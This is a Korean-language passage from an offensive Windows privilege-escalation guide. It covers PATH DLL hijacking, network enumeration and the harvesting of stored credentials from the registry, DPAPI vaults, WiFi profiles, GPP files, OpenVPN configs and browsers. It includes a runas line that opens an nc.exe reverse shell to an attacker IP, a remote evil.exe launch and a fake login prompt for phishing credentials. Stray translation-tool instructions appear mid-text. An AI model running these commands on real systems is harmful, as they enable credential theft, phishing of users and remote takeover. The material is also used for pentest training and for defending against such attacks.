• DACL로 제한하려는 device objects를 생성할 때는 항상 FILE_DEVICE_SECURE_OPEN을 설정하세요.
• 권한이 필요한 작업에 대해 호출자 컨텍스트를 검증하세요. 프로세스 종료나 handle 반환을 허용하기 전에 PP/PPL 검사를 추가하세요.
• IOCTLs(access masks, METHOD_*, 입력 검증)를 제약하고, 직접적인 커널 권한 대신 brokered models를 고려하세요.

방어자를 위한 탐지 아이디어

• 의심스러운 디바이스 이름(예: \ .\amsdk*)에 대한 user-mode에서의 열기와 오용을 시사하는 특정 IOCTL 시퀀스를 모니터링하세요.
• Microsoft의 취약 드라이버 블록리스트(HVCI/WDAC/Smart App Control)를 적용하고 자체 허용/거부 목록을 유지하세요。

PATH DLL Hijacking

만약 PATH에 포함된 폴더에 대한 쓰기 권한이 있다면, 프로세스가 로드하는 DLL을 hijack하여 escalate privileges할 수 있습니다.

PATH에 있는 모든 폴더의 권한을 확인하세요:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

이 검사를 악용하는 방법에 대한 자세한 정보:

Writable Sys Path +Dll Hijacking Privesc

네트워크

공유

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

hosts file에 하드코딩된 다른 알려진 컴퓨터가 있는지 확인하세요

type C:\Windows\System32\drivers\etc\hosts

네트워크 인터페이스 & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

열린 포트

외부에서 제한된 서비스를 확인하세요

netstat -ano #Opened ports?

라우팅 테이블

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP 테이블

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

방화벽 규칙

이 페이지에서 방화벽 관련 명령을 확인하세요 (규칙 나열, 규칙 생성, 끄기, 끄기…)

추가 네트워크 열거를 위한 명령은 여기

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

bash.exe 바이너리는 또한 C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe에서 찾을 수 있습니다

root user 권한을 얻으면 어떤 포트에서든 listen할 수 있습니다(포트에서 nc.exe를 처음 사용해 listen할 때 GUI를 통해 nc를 firewall에서 허용할지 묻습니다).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

bash를 root 권한으로 쉽게 시작하려면 --default-user root를 사용해 보세요

다음 폴더에서 WSL 파일 시스템을 탐색할 수 있습니다: C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows 자격 증명

Winlogon 자격 증명

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault는 서버, 웹사이트 및 기타 프로그램에 대한 사용자 자격 증명을 저장하며, 이를 통해 Windows가 사용자를 자동으로 로그인시킬 수 있습니다. 처음 보면 사용자가 Facebook 자격 증명, Twitter 자격 증명, Gmail 자격 증명 등을 저장하여 브라우저를 통해 자동으로 로그인하는 기능처럼 보일 수 있지만, 그렇지 않습니다.

Windows Vault는 Windows가 사용자를 자동으로 로그인시킬 수 있는 자격 증명을 저장하므로, 이는 곧 리소스(서버 또는 웹사이트)에 접근하기 위해 자격 증명이 필요한 모든 Windows application이 이 Credential Manager 및 Windows Vault를 활용하여 사용자가 매번 사용자 이름과 비밀번호를 입력하는 대신 제공된 자격 증명을 사용할 수 있음을 의미합니다.

애플리케이션이 Credential Manager와 상호작용하지 않는 한 특정 리소스에 대한 자격 증명을 사용하는 것은 불가능하다고 생각됩니다. 따라서 애플리케이션이 vault를 사용하려면 기본 저장 vault에서 해당 리소스에 대한 자격 증명을 요청하기 위해 credential manager와 통신하고 자격 증명을 요청해야 합니다.

시스템에 저장된 자격 증명 목록을 보려면 cmdkey를 사용하세요.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

그런 다음 저장된 자격 증명을 사용하기 위해 /savecred 옵션과 함께 runas를 사용할 수 있습니다. 다음 예제는 SMB 공유를 통해 원격 바이너리를 호출하는 예시입니다.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

runas를 제공된 자격 증명 세트와 함께 사용

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module.

DPAPI

The **Data Protection API (DPAPI)**는 데이터를 위한 대칭 암호화 방법을 제공하며, 주로 Windows 운영 체제에서 비대칭 개인 키의 대칭 암호화에 사용됩니다. 이 암호화는 사용자 또는 시스템 비밀을 활용하여 엔트로피를 크게 증가시킵니다.

DPAPI는 사용자 로그인 비밀에서 파생된 대칭 키를 통해 키를 암호화할 수 있습니다. 시스템 암호화의 경우 시스템의 도메인 인증 비밀을 사용합니다.

DPAPI를 사용해 암호화된 사용자 RSA 키는 %APPDATA%\Microsoft\Protect\{SID} 디렉터리에 저장되며, 여기서 {SID}는 사용자의 Security Identifier를 의미합니다. 사용자의 개인 키를 보호하는 마스터 키와 동일한 파일에 함께 위치한 DPAPI 키는 일반적으로 64바이트의 랜덤 데이터로 구성됩니다. (이 디렉터리에 대한 접근은 제한되어 있어 CMD의 dir 명령으로 내용을 나열할 수 없지만, PowerShell에서는 나열할 수 있다는 점에 유의하세요.)

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

적절한 인자 (/pvk 또는 /rpc)와 함께 mimikatz module dpapi::masterkey를 사용하여 이를 복호화할 수 있습니다.

credentials files protected by the master password는 일반적으로 다음 위치에 있습니다:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

적절한 /masterkey와 함께 mimikatz module dpapi::cred를 사용하여 복호화할 수 있습니다.
루트 권한이 있으면 sekurlsa::dpapi 모듈로 DPAPI masterkeys를 memory에서 많이 추출할 수 있습니다.

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials는 종종 scripting 및 자동화 작업에서 암호화된 자격 증명을 편리하게 저장하는 방법으로 사용됩니다. 이 자격 증명은 DPAPI로 보호되며, 일반적으로 생성된 동일한 사용자와 동일한 컴퓨터에서만 복호화할 수 있습니다.

파일에 들어있는 PS credentials를 복호화하려면 다음과 같이 할 수 있습니다:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

와이파이

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Saved RDP Connections

다음 위치에서 찾을 수 있습니다: HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
및 HKCU\Software\Microsoft\Terminal Server Client\Servers\

최근에 실행된 명령

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

원격 데스크톱 자격 증명 관리자

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

적절한 /masterkey와 함께 Mimikatz dpapi::rdg 모듈을 사용하여 모든 .rdg 파일을 복호화할 수 있습니다
메모리에서 여러 DPAPI masterkeys를 추출하려면 Mimikatz sekurlsa::dpapi 모듈을 사용하세요

Sticky Notes

사람들은 종종 Windows 워크스테이션에서 StickyNotes 앱을 사용하여 비밀번호를 저장하거나 기타 정보를 기록하지만, 이것이 데이터베이스 파일이라는 사실을 모르는 경우가 많습니다. 이 파일은 C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite에 위치하며 항상 찾아서 조사해볼 가치가 있습니다.

AppCmd.exe

AppCmd.exe에서 비밀번호를 복구하려면 Administrator 권한이 필요하며 High Integrity 레벨로 실행해야 한다는 점에 유의하세요.
AppCmd.exe는 %systemroot%\system32\inetsrv\ 디렉터리에 있습니다.
이 파일이 존재한다면 일부 credentials가 구성되어 있고 이를 recovered할 수 있습니다.

이 코드는 PowerUP에서 추출되었습니다:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

해당 경로에 C:\Windows\CCM\SCClient.exe가 존재하는지 확인하세요 .
설치 프로그램은 SYSTEM privileges로 실행됩니다, 많은 것들이 DLL Sideloading (정보 출처 https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

파일 및 Registry (Credentials)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH 호스트 키

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

레지스트리의 SSH 키

SSH 개인 키는 레지스트리 키 HKCU\Software\OpenSSH\Agent\Keys 안에 저장될 수 있으므로, 그 안에 흥미로운 항목이 있는지 확인해야 합니다:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

해당 경로에 어떤 항목이 있으면 대개 저장된 SSH key일 가능성이 높습니다. 암호화되어 저장되어 있지만 https://github.com/ropnop/windows_sshagent_extract를 사용하면 쉽게 복호화할 수 있습니다.
이 기술에 대한 자세한 정보: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

만약 ssh-agent 서비스가 실행 중이 아니고 부팅 시 자동으로 시작되도록 설정하려면 다음을 실행하세요:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

이 기술은 더 이상 유효하지 않은 것 같습니다. ssh-add로 몇몇 ssh 키를 생성하고 추가한 뒤 ssh로 머신에 로그인해 보았습니다. 레지스트리 HKCU\Software\OpenSSH\Agent\Keys는 존재하지 않으며 procmon은 비대칭 키 인증 중에 dpapi.dll의 사용을 식별하지 못했습니다.

방치된 파일

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

이 파일들은 metasploit의 post/windows/gather/enum_unattend 모듈을 사용해 검색할 수도 있습니다.

예제 내용:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM 백업

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

클라우드 자격 증명

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

다음 이름의 파일을 찾아보세요: SiteList.xml

캐시된 GPP 암호

이전에는 Group Policy Preferences (GPP)를 통해 여러 머신에 대해 커스텀 로컬 관리자 계정을 배포할 수 있는 기능이 있었습니다. 그러나 이 방법에는 심각한 보안 취약점이 있었습니다. 첫째, Group Policy Objects (GPOs)는 SYSVOL에 XML 파일로 저장되며 모든 도메인 사용자가 접근할 수 있었습니다. 둘째, 이러한 GPP 내의 암호는 공개 문서화된 기본 키로 AES256으로 암호화되어 있었고, 인증된 사용자라면 누구나 이를 복호화할 수 있었습니다. 이는 사용자가 권한 상승을 얻을 수 있는 심각한 위험을 초래했습니다.

이 위험을 완화하기 위해, “cpassword” 필드가 비어있지 않은 로컬에 캐시된 GPP 파일을 검색하는 기능이 개발되었습니다. 해당 파일을 찾으면 그 기능은 암호를 복호화하여 커스텀 PowerShell object를 반환합니다. 이 객체에는 GPP 및 파일 위치에 대한 세부 정보가 포함되어 있어 취약점을 식별하고 수정하는 데 도움이 됩니다.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (Windows Vista 이전) for these files:

• Groups.xml
• Services.xml
• Scheduledtasks.xml
• DataSources.xml
• Printers.xml
• Drives.xml

cPassword를 복호화하려면:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

crackmapexec을 사용하여 비밀번호를 얻기:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS 웹 구성

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

credentials가 포함된 web.config 예:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN 자격 증명

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

로그

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

credentials 요청하기

그가 알고 있을 것 같다면 항상 사용자에게 자신의 credentials 또는 다른 사용자의 credentials를 입력하도록 요청할 수 있다(직접 클라이언트에게 credentials를 요청하는 것은 정말 위험하다):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

credentials가 포함될 가능성이 있는 파일 이름

과거에 passwords가 clear-text 또는 Base64로 포함되어 있던 알려진 파일들

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

해당 파일의 내용을 번역하려면 원문(또는 번역할 파일들)을 붙여넣어 주세요.
여러 파일을 한꺼번에 번역하려면 파일들을 모두 제공하거나 번역할 파일 목록을 알려주시면 됩니다.

참고: 번역 시 코드, technique 이름, cloud/SaaS 플랫폼명, 링크·경로·마크다운 태그 등은 번역하지 않고 그대로 유지합니다.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

RecycleBin의 Credentials

또한 Bin을 확인하여 그 안에 있는 credentials를 찾아보세요

여러 프로그램에 저장된 recover passwords를 복구하려면 다음을 사용할 수 있습니다: http://www.nirsoft.net/password_recovery_tools.html

registry 내부

credentials가 포함될 수 있는 다른 registry 키들

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

브라우저 기록

비밀번호가 저장된 Chrome or Firefox의 DB를 확인해야 합니다.\
또한 브라우저의 방문 기록, 북마크 및 즐겨찾이를 확인하세요. 일부 비밀번호가 그곳에 저장되어 있을 수 있습니다.

브라우저에서 비밀번호를 추출하는 도구:

• Mimikatz: dpapi::chrome
• SharpWeb
• SharpChromium
• SharpDPAPI

COM DLL Overwriting

**Component Object Model (COM)**은 Windows 운영체제에 내장된 기술로, 서로 다른 언어로 작성된 소프트웨어 컴포넌트 간의 상호 통신을 가능하게 합니다. 각 COM 컴포넌트는 **class ID (CLSID)**로 식별되며, 각 컴포넌트는 하나 이상의 인터페이스를 통해 기능을 노출하고 이들 인터페이스는 **interface IDs (IIDs)**로 식별됩니다.

COM 클래스와 인터페이스는 레지스트리의 HKEY\CLASSES\ROOT\CLSID 및 HKEY\CLASSES\ROOT\Interface에 각각 정의됩니다. 이 레지스트리는 HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes를 병합하여 생성된 HKEY\CLASSES\ROOT입니다.

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

기본적으로, 실행될 DLL 중 하나를 덮어쓸 수 있다면, 그 DLL이 다른 사용자에 의해 실행될 경우 escalate privileges할 수 있습니다.

공격자들이 COM Hijacking을 persistence 메커니즘으로 어떻게 사용하는지 알아보려면 확인하세요:

COM Hijacking

파일 및 레지스트리에서의 일반적인 비밀번호 검색

파일 내용 검색

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

특정 파일 이름을 가진 파일 검색하기

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

registry에서 key names 및 passwords 검색

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

비밀번호를 검색하는 도구

MSF-Credentials Plugin is a msf 플러그인입니다. 제가 만든 이 플러그인은 automatically execute every metasploit POST module that searches for credentials 를 피해자 내부에서 실행하도록 설계되었습니다.
Winpeas는 이 페이지에서 언급된 비밀번호를 포함한 모든 파일을 자동으로 검색합니다.
Lazagne 는 시스템에서 비밀번호를 추출하는 또 다른 훌륭한 도구입니다.

도구 SessionGopher 는 이 데이터를 평문으로 저장하는 여러 도구(PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)의 sessions, usernames and passwords 를 검색합니다

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

가정해보자: SYSTEM으로 실행되는 프로세스가 OpenProcess()로 새로운 프로세스에 대해 전체 권한(full access) 를 가지고 열린 경우. 동일한 프로세스가 또한 CreateProcess()로 낮은 권한의 새 프로세스를 생성하되 메인 프로세스의 모든 열린 핸들을 상속하도록 만들 수 있다.
그렇다면 낮은 권한 프로세스에 대해 full access가 있다면, OpenProcess()로 생성된 권한 있는 프로세스에 대한 열린 핸들을 획득하여 쉘코드(shellcode)를 주입할 수 있습니다.
이 취약점을 감지하고 악용하는 방법에 대한 자세한 정보는 이 예제를 읽어보세요.
더 많은 권한 수준(단지 full access뿐만 아니라)으로 상속된 프로세스 및 스레드의 열린 핸들들을 테스트하고 악용하는 방법에 대해 더 완전한 설명은 이 다른 포스트를 읽어보세요.

Named Pipe Client Impersonation

공유 메모리 세그먼트, 흔히 pipes라고 부르는 것들은 프로세스 간 통신 및 데이터 전송을 가능하게 한다.

Windows는 Named Pipes라는 기능을 제공하며, 관련 없는 프로세스들조차 서로 다른 네트워크 상에서 데이터를 공유할 수 있게 해준다. 이는 named pipe server와 named pipe client 역할로 구성된 클라이언트/서버 아키텍처와 유사하다.

클라이언트가 파이프를 통해 데이터를 보낼 때, 파이프를 설정한 server는 필요한 SeImpersonate 권한이 있다면 client의 정체성(신원)을 가질 수 있다. 파이프를 통해 통신하는 권한 있는 프로세스를 찾아내고 그 프로세스가 당신이 만든 파이프와 상호작용하도록 유도하면, 해당 프로세스의 신원으로 가장하여 더 높은 권한을 획득할 수 있는 기회가 된다. 이런 공격을 실행하는 방법에 대한 안내는 여기와 여기에서 확인할 수 있다.

또한 다음 도구는 burp 같은 도구로 named pipe 통신을 가로채는(intercept) 데 사용할 수 있다: https://github.com/gabriel-sztejnworcel/pipe-intercept
그리고 다음 도구는 모든 파이프를 나열하고 확인하여 privesc를 찾는 데 도움이 된다: https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

Telephony 서비스(TapiSrv)가 서버 모드일 때 \\pipe\\tapsrv (MS-TRP)를 노출한다. 원격 인증된 클라이언트는 mailslot 기반 비동기 이벤트 경로를 악용하여 ClientAttach를 기존 파일에 대한 임의의 4바이트 쓰기(arbitrary 4-byte write)로 바꿀 수 있고, 이후 Telephony 관리자 권한을 획득하여 임의의 DLL을 서비스로 로드할 수 있다. 전체 흐름:

• ClientAttach의 pszDomainUser를 쓰기 가능한 기존 경로로 설정 → 서비스는 CreateFileW(..., OPEN_EXISTING)로 해당 파일을 열고 비동기 이벤트 쓰기에 사용한다.
• 각 이벤트는 Initialize의 공격자가 제어하는 InitContext를 해당 핸들로 쓴다. LRegisterRequestRecipient(Req_Func 61)로 라인 앱을 등록하고, TRequestMakeCall(Req_Func 121)을 트리거하고, GetAsyncEvents(Req_Func 0)로 가져온 다음 등록 해제/종료하여 결정론적(write)을 반복한다.
• C:\Windows\TAPI\tsec.ini의 [TapiAdministrators]에 자신을 추가하고 재연결한 후, 임의의 DLL 경로로 GetUIDllName을 호출하여 NETWORK SERVICE로서 TSPI_providerUIIdentify를 실행한다.

자세한 내용:

Telephony Tapsrv Arbitrary Dword Write To Rce

Misc

File Extensions that could execute stuff in Windows

다음 페이지를 확인해보세요: https://filesec.io/

Monitoring Command Lines for passwords

